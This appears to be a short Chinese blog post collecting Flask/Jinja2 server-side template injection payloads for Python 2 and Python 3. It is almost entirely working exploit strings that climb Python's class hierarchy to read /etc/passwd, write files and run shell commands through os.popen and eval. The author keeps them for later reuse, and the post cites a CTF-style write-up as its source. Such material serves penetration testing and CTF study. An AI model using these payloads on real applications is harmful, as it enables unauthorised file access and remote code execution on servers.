1. 程式人生 > 實用技巧 >flask模板注入payload——python2和python3

flask模板注入payload——python2和python3

把模板注入的payload記錄在這裡,方便以後使用。

主要分為兩類python2和python3

還有各種過濾和繞過

python2

檔案操作

找到file類

[].class.bases[0].subclasses()[40]

payload:

#讀檔案
[].__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
#寫檔案
[].__class__.__bases__[0].__subclasses__()[40]('/tmp').write('test')

命令執行

os執行

[].class.bases[0].subclasses

()[59].init.func_globals.linecache下有os類,可以直接執行命令

payload:

[].__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.linecache.os.popen('id').read()

#eval,impoer等全域性函式

[].class.bases[0].subclasses()[59].init.globals.__builtins__下有eval,__import__等的全域性函式,可以利用此來執行命令

payload:

[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
[].__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

python3

檔案操作

payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

命令執行

payload:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

參考:https://xi4or0uji.github.io/2019/01/15/flask之ssti模板注入/